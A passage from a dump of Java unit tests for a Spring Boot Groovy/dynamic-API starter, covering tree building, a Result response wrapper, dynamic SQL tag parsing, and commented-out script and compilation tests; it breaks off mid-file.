    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/rest/RestApiTest.java",
    "content": "package io.github.wujun728.rest;\n\nimport io.github.wujun728.rest.util.RestUtil;\nimport io.github.wujun728.rest.util.TreeBuildUtil;\nimport io.github.wujun728.sql.entity.Result;\nimport org.junit.Test;\n\nimport java.util.*;\n\nimport static org.junit.Assert.*;\n\n/**\n * REST 动态 API 模块单元测试\n */\npublic class RestApiTest {\n\n    @Test\n    public void testTreeBuildUtilListToTree() {\n        List<Map<String, Object>> list = new ArrayList<>();\n\n        Map<String, Object> root = new HashMap<>();\n        root.put(\"id\", 1L);\n        root.put(\"pid\", 0L);\n        root.put(\"name\", \"Root\");\n        list.add(root);\n\n        Map<String, Object> child1 = new HashMap<>();\n        child1.put(\"id\", 2L);\n        child1.put(\"pid\", 1L);\n        child1.put(\"name\", \"Child1\");\n        list.add(child1);\n\n        Map<String, Object> child2 = new HashMap<>();\n        child2.put(\"id\", 3L);\n        child2.put(\"pid\", 1L);\n        child2.put(\"name\", \"Child2\");\n        list.add(child2);\n\n        Map<String, Object> grandChild = new HashMap<>();\n        grandChild.put(\"id\", 4L);\n        grandChild.put(\"pid\", 2L);\n        grandChild.put(\"name\", \"GrandChild\");\n        list.add(grandChild);\n\n        List<Map<String, Object>> tree = TreeBuildUtil.listToTree(list, \"0\", \"id\", \"pid\");\n        assertNotNull(\"Tree should not be null\", tree);\n        assertEquals(\"Should have 1 root\", 1, tree.size());\n\n        Map<String, Object> rootNode = tree.get(0);\n        assertEquals(\"Root\", rootNode.get(\"name\"));\n\n        @SuppressWarnings(\"unchecked\")\n        List<Map<String, Object>> children = (List<Map<String, Object>>) rootNode.get(\"children\");\n        assertNotNull(\"Root should have children\", children);\n        assertEquals(\"Root should have 2 children\", 2, children.size());\n    }\n\n    @Test\n    public void testTreeBuildUtilEmptyList() {\n        List<Map<String, Object>> emptyList = new ArrayList<>();\n        List<Map<String, Object>> tree = TreeBuildUtil.listToTree(emptyList, \"0\", \"id\", \"pid\");\n        assertNotNull(tree);\n        assertTrue(\"Empty list should produce empty tree\", tree.isEmpty());\n    }\n\n    @Test\n    public void testTreeBuildUtilCustomChildrenField() {\n        List<Map<String, Object>> list = new ArrayList<>();\n\n        Map<String, Object> parent = new HashMap<>();\n        parent.put(\"id\", \"A\");\n        parent.put(\"parentId\", \"0\");\n        parent.put(\"title\", \"Parent\");\n        list.add(parent);\n\n        Map<String, Object> child = new HashMap<>();\n        child.put(\"id\", \"B\");\n        child.put(\"parentId\", \"A\");\n        child.put(\"title\", \"Child\");\n        list.add(child);\n\n        List<Map<String, Object>> tree = TreeBuildUtil.listToTree(list, \"0\", \"id\", \"parentId\", \"items\");\n        assertEquals(1, tree.size());\n\n        @SuppressWarnings(\"unchecked\")\n        List<Map<String, Object>> items = (List<Map<String, Object>>) tree.get(0).get(\"items\");\n        assertNotNull(\"Should use custom children field name\", items);\n        assertEquals(1, items.size());\n    }\n\n    @Test\n    public void testTreeBuildUtilOrphanNodes() {\n        // Nodes whose parent doesn't exist should be treated as root\n        List<Map<String, Object>> list = new ArrayList<>();\n\n        Map<String, Object> orphan = new HashMap<>();\n        orphan.put(\"id\", 10L);\n        orphan.put(\"pid\", 999L); // parent doesn't exist\n        orphan.put(\"name\", \"Orphan\");\n        list.add(orphan);\n\n        List<Map<String, Object>> tree = TreeBuildUtil.listToTree(list, \"0\", \"id\", \"pid\");\n        assertEquals(\"Orphan should be root\", 1, tree.size());\n    }\n\n    @Test\n    public void testRestUtilGetNullPropertyNames() {\n        TestBean bean = new TestBean();\n        bean.setName(\"test\");\n        // age and email are null\n        String[] nullProps = RestUtil.getNullPropertyNames(bean);\n        assertNotNull(nullProps);\n        assertTrue(\"Should find null properties\", nullProps.length > 0);\n\n        // Verify 'name' is not in null properties\n        Set<String> nullSet = new HashSet<>(Arrays.asList(nullProps));\n        assertFalse(\"name should not be null\", nullSet.contains(\"name\"));\n    }\n\n    @Test\n    public void testResultSuccess() {\n        Result result = Result.success(\"test data\");\n        assertEquals(0, result.get(\"code\"));\n        assertEquals(0, result.get(\"status\")); // amis compatibility\n        assertEquals(\"success\", result.get(\"msg\"));\n        assertEquals(\"test data\", result.get(\"data\"));\n    }\n\n    @Test\n    public void testResultError() {\n        Result result = Result.error(\"something failed\");\n        assertEquals(500, result.get(\"code\"));\n        assertEquals(500, result.get(\"status\")); // amis compatibility\n        assertEquals(\"something failed\", result.get(\"msg\"));\n    }\n\n    @Test\n    public void testResultFail() {\n        Result result = Result.fail(\"validation error\");\n        assertEquals(500, result.get(\"code\"));\n        assertEquals(500, result.get(\"status\"));\n        assertEquals(\"validation error\", result.get(\"msg\"));\n    }\n\n    @Test\n    public void testResultChainPut() {\n        Result result = Result.success(\"data\")\n                .put(\"count\", 100)\n                .put(\"pageSize\", 10);\n        assertEquals(\"data\", result.get(\"data\"));\n        assertEquals(100, result.get(\"count\"));\n        assertEquals(10, result.get(\"pageSize\"));\n    }\n\n    @Test\n    public void testResultAmisCompatibility() {\n        // amis expects {status: 0, msg: \"\", data: ...}\n        Result success = Result.success(\"ok data\");\n        assertEquals(\"status should be 0 for success\", 0, success.get(\"status\"));\n        assertEquals(\"code should be 0 for success\", 0, success.get(\"code\"));\n\n        Result error = Result.error(400, \"bad request\");\n        assertEquals(\"status should be 400 for error\", 400, error.get(\"status\"));\n        assertEquals(\"code should be 400 for error\", 400, error.get(\"code\"));\n    }\n\n    // Simple test bean for getNullPropertyNames test\n    public static class TestBean {\n        private String name;\n        private Integer age;\n        private String email;\n\n        public String getName() { return name; }\n        public void setName(String name) { this.name = name; }\n        public Integer getAge() { return age; }\n        public void setAge(Integer age) { this.age = age; }\n        public String getEmail() { return email; }\n        public void setEmail(String email) { this.email = email; }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/sql/SqlEngineTest.java",
    "content": "package io.github.wujun728.sql;\n\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport io.github.wujun728.sql.entity.Result;\nimport io.github.wujun728.sql.utils.XmlParser;\nimport org.junit.Test;\n\nimport java.util.*;\n\nimport static org.junit.Assert.*;\n\n/**\n * SQL 执行引擎模块单元测试\n */\npublic class SqlEngineTest {\n\n    private final DynamicSqlEngine engine = new DynamicSqlEngine();\n\n    @Test\n    public void testDynamicSqlParseSimple() {\n        String sql = \"SELECT * FROM users WHERE id = #{id}\";\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"id\", 1);\n\n        SqlMeta sqlMeta = engine.parse(sql, params);\n        assertNotNull(\"SqlMeta should not be null\", sqlMeta);\n        assertNotNull(\"SQL should not be null\", sqlMeta.getSql());\n        assertTrue(\"SQL should contain parameter placeholder\", sqlMeta.getSql().contains(\"?\"));\n        assertNotNull(\"JDBC params should not be null\", sqlMeta.getJdbcParamValues());\n        assertEquals(1, sqlMeta.getJdbcParamValues().size());\n        assertEquals(1, sqlMeta.getJdbcParamValues().get(0));\n    }\n\n    @Test\n    public void testDynamicSqlParseIfCondition() {\n        String sql = \"SELECT * FROM users WHERE 1=1 \"\n                + \"<if test=\\\"name != null\\\"> AND name = #{name} </if>\"\n                + \"<if test=\\\"age != null\\\"> AND age = #{age} </if>\";\n\n        // Only name provided\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"name\", \"test\");\n        SqlMeta sqlMeta = engine.parse(sql, params);\n        assertNotNull(sqlMeta);\n        assertTrue(\"SQL should contain name condition\", sqlMeta.getSql().contains(\"name\"));\n        assertFalse(\"SQL should not contain age condition\", sqlMeta.getSql().contains(\"age\"));\n\n        // Both provided\n        params.put(\"age\", 25);\n        sqlMeta = engine.parse(sql, params);\n        assertTrue(\"SQL should contain both conditions\",\n                sqlMeta.getSql().contains(\"name\") && sqlMeta.getSql().contains(\"age\"));\n    }\n\n    @Test\n    public void testDynamicSqlParseWhereTag() {\n        String sql = \"SELECT * FROM users \"\n                + \"<where>\"\n                + \"<if test=\\\"name != null\\\"> AND name = #{name} </if>\"\n                + \"<if test=\\\"age != null\\\"> AND age = #{age} </if>\"\n                + \"</where>\";\n\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"name\", \"test\");\n        SqlMeta sqlMeta = engine.parse(sql, params);\n        assertNotNull(sqlMeta);\n        String parsedSql = sqlMeta.getSql().toUpperCase();\n        assertTrue(\"SQL should contain WHERE\", parsedSql.contains(\"WHERE\"));\n    }\n\n    @Test\n    public void testDynamicSqlParseForeach() {\n        String sql = \"SELECT * FROM users WHERE id IN \"\n                + \"<foreach collection=\\\"ids\\\" item=\\\"id\\\" open=\\\"(\\\" separator=\\\",\\\" close=\\\")\\\">\"\n                + \"#{id}\"\n                + \"</foreach>\";\n\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"ids\", Arrays.asList(1, 2, 3));\n        SqlMeta sqlMeta = engine.parse(sql, params);\n        assertNotNull(sqlMeta);\n        assertTrue(\"Should have 3 parameters\", sqlMeta.getJdbcParamValues().size() == 3);\n    }\n\n    @Test\n    public void testDynamicSqlParseSetTag() {\n        String sql = \"UPDATE users \"\n                + \"<set>\"\n                + \"<if test=\\\"name != null\\\"> name = #{name}, </if>\"\n                + \"<if test=\\\"age != null\\\"> age = #{age}, </if>\"\n                + \"</set>\"\n                + \" WHERE id = #{id}\";\n\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"name\", \"newName\");\n        params.put(\"id\", 1);\n        SqlMeta sqlMeta = engine.parse(sql, params);\n        assertNotNull(sqlMeta);\n        String parsedSql = sqlMeta.getSql().toUpperCase();\n        assertTrue(\"SQL should contain SET\", parsedSql.contains(\"SET\"));\n        assertTrue(\"SQL should contain name\", sqlMeta.getSql().contains(\"name\"));\n    }\n\n    @Test\n    public void testDynamicSqlParseTrimTag() {\n        String sql = \"SELECT * FROM users \"\n                + \"<trim prefix=\\\"WHERE\\\" prefixOverrides=\\\"AND |OR \\\">\"\n                + \"<if test=\\\"name != null\\\"> AND name = #{name} </if>\"\n                + \"</trim>\";\n\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"name\", \"test\");\n        SqlMeta sqlMeta = engine.parse(sql, params);\n        assertNotNull(sqlMeta);\n        String parsedSql = sqlMeta.getSql().toUpperCase();\n        assertTrue(\"SQL should contain WHERE\", parsedSql.contains(\"WHERE\"));\n    }\n\n    @Test\n    public void testDynamicSqlParseNoParams() {\n        String sql = \"SELECT * FROM users WHERE status = 1\";\n        Map<String, Object> params = new HashMap<>();\n\n        SqlMeta sqlMeta = engine.parse(sql, params);\n        assertNotNull(sqlMeta);\n        assertTrue(\"Should have no JDBC parameters\", sqlMeta.getJdbcParamValues().isEmpty());\n    }\n\n    @Test\n    public void testDynamicSqlParseParameter() {\n        String sql = \"SELECT * FROM users WHERE name = #{name} AND age > #{minAge}\";\n        Set<String> paramNames = engine.parseParameter(sql);\n        assertNotNull(paramNames);\n        assertTrue(\"Should contain 'name'\", paramNames.contains(\"name\"));\n        assertTrue(\"Should contain 'minAge'\", paramNames.contains(\"minAge\"));\n    }\n\n    @Test\n    public void testXmlParserParseSql() throws Exception {\n        String xml = \"<sqls>\\n\"\n                + \"  <defaultDB>main</defaultDB>\\n\"\n                + \"  <sql id=\\\"findUser\\\" db=\\\"main\\\">\\n\"\n                + \"    SELECT * FROM users WHERE id = #{id}\\n\"\n                + \"  </sql>\\n\"\n                + \"  <sql id=\\\"listUsers\\\" db=\\\"main\\\">\\n\"\n                + \"    SELECT * FROM users\\n\"\n                + \"  </sql>\\n\"\n                + \"</sqls>\";\n\n        Map<String, ApiSql> sqlMap = XmlParser.parseSql(xml);\n        assertNotNull(\"SQL map should not be null\", sqlMap);\n        assertEquals(\"Should have 2 SQLs\", 2, sqlMap.size());\n        assertTrue(\"Should contain findUser\", sqlMap.containsKey(\"findUser\"));\n        assertTrue(\"Should contain listUsers\", sqlMap.containsKey(\"listUsers\"));\n\n        ApiSql findUser = sqlMap.get(\"findUser\");\n        assertNotNull(findUser.getText());\n        assertTrue(findUser.getText().contains(\"SELECT\"));\n        assertEquals(\"main\", findUser.getDatasourceId());\n    }\n\n    @Test\n    public void testResultStatusCodeSync() {\n        // Verify that status and code are always in sync\n        Result success = new Result(0, \"ok\", \"data\");\n        assertEquals(success.get(\"code\"), success.get(\"status\"));\n\n        Result error = new Result(500, \"error\", null);\n        assertEquals(error.get(\"code\"), error.get(\"status\"));\n\n        Result custom = new Result(404, \"not found\");\n        assertEquals(custom.get(\"code\"), custom.get(\"status\"));\n    }\n\n    @Test\n    public void testResultFactoryMethods() {\n        Result ok = Result.ok();\n        assertEquals(0, ok.get(\"code\"));\n\n        Result okData = Result.ok(\"myData\");\n        assertEquals(0, okData.get(\"code\"));\n        assertEquals(\"myData\", okData.get(\"data\"));\n\n        Result error = Result.error();\n        assertEquals(500, error.get(\"code\"));\n\n        Result errorMsg = Result.error(\"bad\");\n        assertEquals(500, errorMsg.get(\"code\"));\n        assertEquals(\"bad\", errorMsg.get(\"msg\"));\n\n        Result errorCode = Result.error(403, \"forbidden\");\n        assertEquals(403, errorCode.get(\"code\"));\n        assertEquals(403, errorCode.get(\"status\"));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/sql/TestSqlUser.java",
    "content": "package io.github.wujun728.sql;\n\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport com.alibaba.druid.pool.DruidDataSource;\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\nimport io.github.wujun728.sql.utils.JdbcUtil;\n//import org.junit.Test;\n\nimport javax.sql.DataSource;\nimport java.sql.SQLException;\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\n\npublic class TestSqlUser {\n    public static void main(String[] args) throws SQLException {\n\n        String jdbcUrl = \"jdbc:mysql://localhost:3306/db_qixing_bk\" +\n                \"?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8&zeroDateTimeBehavior=convertToNull&useInformationSchema=true\";\n        DataSource ds = init(\"ds1\",jdbcUrl,\"root\",\"\",\"com.mysql.cj.jdbc.Driver\");\n\n        Map params = new HashMap();\n        //params.put(\"id\",10);\n        Object obj = JdbcUtil.executeSql(ds.getConnection(),\"select * from biz_test\" +\n                \"  <if test='id!=null'>  where id = #{id}  </if> \",params,true);\n        StaticLog.info(JSONUtil.toJsonStr(obj));\n        StaticLog.info(\"\");\n    }\n\n    static ConcurrentHashMap<String, DataSource> map = new ConcurrentHashMap<>();\n    public static DataSource init(String dsname,String url,String username,String password,String driver) {\n        if (map.containsKey(dsname)) {\n            return map.get(dsname);\n        } else {\n            try {\n                if (!map.containsKey(dsname)) {\n                    DruidDataSource druidDataSource = new DruidDataSource();\n                    druidDataSource.setName(dsname);\n                    druidDataSource.setUrl(url);\n                    druidDataSource.setUsername(username);\n                    druidDataSource.setPassword(password);\n                    druidDataSource.setDriverClassName(driver);\n                    druidDataSource.setConnectionErrorRetryAttempts(3);       //失败后重连次数\n                    druidDataSource.setBreakAfterAcquireFailure(true);\n                    map.put(dsname, druidDataSource);\n\n                }\n                return map.get(dsname);\n            } catch (Exception e) {\n                return null;\n            } finally {\n            }\n        }\n    }\n\n    //@Test\n    public void testSubMap() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = \"id &lt;= #{maxId.maxId}\";\n        \n        Map<String, Object> submap = new HashMap<>();\n        submap.put(\"maxId\", 10);\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"maxId\", submap);\n        \n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(\"testSubMap\"+sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n\n    }\n    //@Test\n    public void testIf() {\n    \tDynamicSqlEngine engine = new DynamicSqlEngine();\n    \tString sql = \"id &lt;= #{maxId}\";\n    \tMap<String, Object> map = new HashMap<>();\n    \tmap.put(\"maxId\", 10);\n    \t\n    \tSqlMeta sqlMeta = engine.parse(sql, map);\n    \tSystem.out.println(sqlMeta.getSql());\n    \tsqlMeta.getJdbcParamValues().forEach(System.out::println);\n    \t\n    }\n\n    //@Test\n    public void testTrim() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = \"<trim prefix='(' suffix=')' suffixesToOverride=',' prefixesToOverride='and' ><foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}</foreach><if test='id!=null'>  and xyz.,</if></trim>\";\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\", 2);\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    //@Test\n    public void testWhere() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = \"<where><if test='id!=null'>  and id = #{id}</if><if test='id!=null'>  and id = #{id}</if></where>\";\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\", 2);\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    //@Test\n    public void testForeach() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}</foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList.toArray());\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    //@Test\n    public void testForeachIF() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}<if test='id!=null'>  and id = #{id}</if></foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList.toArray());\n        map.put(\"id\", 100);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n/*\n    //@Test\n    public void testForeachMap() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<foreach collection='users' open='(' separator=',' close=')'>#{item}</foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        Map<String, Object> users = new HashMap<String, Object>() {\n            {\n                put(\"aaa\", \"a1\");\n                put(\"bbb\", \"b1\");\n            }\n        };\n\n        map.put(\"users\", users);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n*/\n\n    //@Test\n    public void testMultiForeach() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<foreach collection='list' open='(' separator=',' close=')'>#{item}</foreach><foreach collection='list2' open='{' separator=',' close='}'>#{item}</foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        ArrayList<String> list = new ArrayList<String>() {{\n            add(\"a\");\n            add(\"b\");\n        }};\n\n        map.put(\"list\", list);\n\n        ArrayList<String> list2 = new ArrayList<String>() {{\n            add(\"c\");\n            add(\"d\");\n        }};\n\n        map.put(\"list2\", list2.toArray());\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    //@Test\n    public void testSet() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"update<set><if test='id !=null'> id = #{id} ,</if><if test='id !=null'> id = #{id} , </if></set>\");\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\",10);\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n\n    }\n\n    //@Test\n    public void testParseParam() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<foreach collection='list' open='(' separator=',' close=')'>#{item.name} #{item} #{id} ${indexName} </foreach><where><if test='id!=null'>  and id = #{mid}</if> ${name}</where>\");\n        Set<String> set = engine.parseParameter(sql);\n        set.stream().forEach(System.out::println);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/sql/User.java",
    "content": "package io.github.wujun728.sql;\n\npublic class User {\n    Integer id;\n    String name;\n\n    public User(Integer id, String name) {\n        this.id = id;\n        this.name = name;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/stater/groovy/GroovyApplicationTests.java",
    "content": "//package io.github.wujun728.stater.groovy;\n//\n//import org.junit.Test;\n//import org.junit.runner.RunWith;\n//import org.springframework.boot.test.context.SpringBootTest;\n//import org.springframework.test.context.junit4.SpringRunner;\n//\n//@RunWith(SpringRunner.class)\n//@SpringBootTest\n//public class GroovyApplicationTests {\n//\n//    @Test\n//    public void contextLoads() {\n//    }\n//\n//}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/stater/groovy/GroovyScriptControllerTest.java",
    "content": "//package io.github.wujun728.stater.groovy;\n//\n//import org.junit.Before;\n//import org.junit.Test;\n//import org.junit.runner.RunWith;\n//import org.springframework.beans.factory.annotation.Autowired;\n//import org.springframework.test.context.ContextConfiguration;\n//import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n//import org.springframework.test.context.web.WebAppConfiguration;\n//import org.springframework.test.web.servlet.MockMvc;\n//import org.springframework.test.web.servlet.MvcResult;\n//import org.springframework.test.web.servlet.setup.MockMvcBuilders;\n//import org.springframework.web.context.WebApplicationContext;\n//\n//import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;\n//import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;\n//\n///**\n// *  groovy 脚本引擎测试\n// */\n//@RunWith(SpringJUnit4ClassRunner.class)\n//@WebAppConfiguration\n//@ContextConfiguration(classes = ApiGroovyScriptConfiguration.class)\n//public class GroovyScriptControllerTest {\n//    private MockMvc mockMvc;\n//    @Autowired\n//    private WebApplicationContext context;\n//    @Autowired\n//\n//    @Before\n//    public void setup() {\n//        this.mockMvc = MockMvcBuilders.webAppContextSetup(context).build();\n//    }\n//\n//    @Test\n//    public void test() throws Exception {\n//        String groovyScript = \"spring.getBean(\\\"scriptEngineManager\\\").toString()\";\n//        MvcResult mvcResult = mockMvc.perform(post(\"/groovy\").param(\"script\", groovyScript))\n//                .andExpect(status().isOk())\n//                .andReturn();\n//        System.out.println(mvcResult.getResponse().getContentAsString());\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/stater/service/CompileTest.java",
    "content": "//package io.github.wujun728.stater.service;\n//\n//import io.github.wujun728.compile.compile.StringSourceCompilerExtend;\n//\n//import javax.tools.Diagnostic;\n//import javax.tools.DiagnosticCollector;\n//import javax.tools.JavaFileObject;\n//import java.util.List;\n//import java.util.Locale;\n//\n//public class CompileTest {\n//\n//    public static void main(String[] args) {\n//        testLib();\n//    }\n//\n//    public static void testLib(){\n//\n//\n//       String str =  System.getProperty(\"java.home\");\n//       System.out.println(str);\n//\n//\n//        System.out.println(\"===========os.name:\"+System.getProperties().getProperty(\"os.name\"));\n//\n//        DiagnosticCollector<JavaFileObject> compileCollector = new DiagnosticCollector<>(); // 编译结果收集器\n//        String source = \"import lombok.Data;\\n\" + \"import org.beetl.sql.annotation.entity.AutoID;\\n\"\n//                + \"import org.beetl.sql.annotation.entity.Table;\\n\" + \"\\n\" + \"/**\\n\" + \" * 角色\\n\" + \" */\\n\"\n//                + \"@Table(name = \\\"role\\\")\\n\" + \"@Data\\n\" + \"public class CoreRole {\\n\" + \"\\n\" + \"\\t@AutoID\\n\"\n//                + \"\\tprotected Long id;\\n\" + \"\\n\" + \"\\tprivate String name;\\n\" + \"\\n\" + \"\\tprivate String type;\\n\"\n//                + \"\\n\" + \"\\tprivate String createDate;\\n\" + \"\\n\" + \"\\tpublic static  void main(String[] args){\\n\"\n//                + \"\\t\\tSystem.out.println(new CoreRole().getId());\\n\" + \"\\t}\\n\" + \"\\n\" + \"}\";\n//        String source1 = \"public class Man {\\n\" +\n//                \"\\tpublic static void main(String[] args) throws InterruptedException {\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t\\tThread.sleep(5000);\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//\n//        StringSourceCompilerExtend compilerExtend = new StringSourceCompilerExtend();\n//        // 编译源代码\n//        boolean result = compilerExtend.compile(source1, compileCollector);\n//\n//\n//\n//        // 编译不通过，获取并返回编译错误信息\n//        if (!result) {\n//            // 获取编译错误信息\n//            List<Diagnostic<? extends JavaFileObject>> compileError = compileCollector.getDiagnostics();\n//            StringBuilder compileErrorRes = new StringBuilder();\n//            for (Diagnostic diagnostic : compileError) {\n//                compileErrorRes.append(\"Compilation error at \");\n//                compileErrorRes.append(diagnostic.getLineNumber());\n//                compileErrorRes.append(\".\");\n//                compileErrorRes.append(diagnostic.getMessage(Locale.US));\n//                compileErrorRes.append(System.lineSeparator());\n//            }\n//            System.out.println(compileErrorRes.toString());\n//        }\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/stater/service/ExecuteStringSourceServiceTest.java",
    "content": "//package io.github.wujun728.stater.service;\n//\n//import io.github.wujun728.compile.service.ExecuteStringSourceService;\n//\n//public class ExecuteStringSourceServiceTest {\n//\n//    public static void main(String[] args) {\n//        execute();\n//    }\n//    //@Autowired\n//\n//\n//    public static void execute() {\n//        ExecuteStringSourceService executeStringSourceService = new ExecuteStringSourceService();\n//        String source = \"public class Man {\\n\" +\n//                \"\\tpublic static void main(String[] args) {\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 0\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 2\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 3\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 4\\\");\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//        String source1 = \"public class Man {\\n\" +\n//                \"\\tpublic static void main(String[] args) throws InterruptedException {\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t\\tThread.sleep(5000);\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 1\\\");\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//        String source2 = \"public class Man {\\n\" +\n//                \"\\tpublic static void main(String[] args) {\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 2\\\");\\n\" +\n//                \"\\t\\tSystem.out.println(\\\"hello world 2\\\");\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//\n//        // 测试 Scanner in = new Scanner(System.in);\n//        String sourceTestSystemIn = \"import java.util.Scanner;\\n\" +\n//                \"public class Run {\\n\" +\n//                \"\\tpublic static void main(String[] args) {\\n\" +\n//                \"\\t\\tScanner in = new Scanner(System.in);\\n\" +\n//                \"\\t\\tSystem.out.println(in.nextInt());\\n\" +\n//                \"\\t\\tSystem.out.println(in.nextDouble());\\n\" +\n//                \"\\t\\tSystem.out.println(in.next());\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//\n//\t\tString lombokSource = \"import lombok.Data;\\n\" + \"import org.beetl.sql.annotation.entity.AutoID;\\n\"\n//\t\t\t\t+ \"import org.beetl.sql.annotation.entity.Table;\\n\" + \"\\n\" + \"/**\\n\" + \" * 角色\\n\" + \" */\\n\"\n//\t\t\t\t+ \"@Table(name = \\\"role\\\")\\n\" + \"@Data\\n\" + \"public class CoreRole {\\n\" + \"\\n\" + \"\\t@AutoID\\n\"\n//\t\t\t\t+ \"\\tprotected Long id;\\n\" + \"\\n\" + \"\\tprivate String name;\\n\" + \"\\n\" + \"\\tprivate String type;\\n\"\n//\t\t\t\t+ \"\\n\" + \"\\tprivate String createDate;\\n\" + \"\\n\" + \"\\tpublic static  void main(String[] args){\\n\"\n//\t\t\t\t+ \"\\t\\tSystem.out.println(new CoreRole().getId());\\n\" + \"\\t}\\n\" + \"\\n\" + \"}\";\n//\n//        String systemIn = \"1 1.5 \\n fsdfasdfasdf\";\n//\n//        // Test2\n//        String sourceTestSystemIn1 = \"import 